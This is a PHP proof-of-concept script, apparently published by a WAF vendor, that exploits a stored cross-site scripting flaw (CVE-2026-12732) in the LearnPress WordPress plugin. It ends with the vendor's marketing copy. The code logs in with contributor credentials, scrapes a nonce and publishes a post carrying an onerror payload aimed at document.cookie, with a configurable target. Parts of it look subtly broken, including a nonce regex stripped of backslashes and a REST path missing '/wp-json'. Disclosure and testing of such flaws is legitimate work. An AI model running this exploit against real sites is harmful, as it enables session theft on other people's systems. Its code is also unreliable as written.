// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12732 - LearnPress <= 4.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_wrapper_form' Shortcode Attribute

// CONFIGURATION
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'attacker';
$password = 'password';

// Step 1: Authenticate
$auth_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $auth_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for creating a post
$admin_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);

// Extract the _wpnonce for wp_rest or the post creation
// For WordPress REST API, we need the nonce
preg_match('/wpApiSettingss*=s*{[^}]*"nonce"s*:s*"([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (!$nonce) {
    die('Could not extract nonce. Manual intervention may be required.');
}

// Step 3: Create a post with the malicious shortcode
$payload = 'x"><img+src=x+onerror=alert(document.cookie)+x=';
$post_data = array(
    'title' => 'Atomic Edge PoC - CVE-2026-12732',
    'content' => '[learn_press_filter_courses class_wrapper_form="' . $payload . '"]',
    'status' => 'publish'
);

$rest_url = $target_url . '/wp/v2/posts';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    $result = json_decode($response, true);
    echo '[+] Post created successfully. ID: ' . $result['id'] . PHP_EOL;
    echo '[+] Visit: ' . $result['link'] . ' to trigger the XSS.' . PHP_EOL;
} else {
    echo '[-] Failed to create post. HTTP Code: ' . $http_code . PHP_EOL;
    echo '[-] Response: ' . $response . PHP_EOL;
}

// Clean up
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.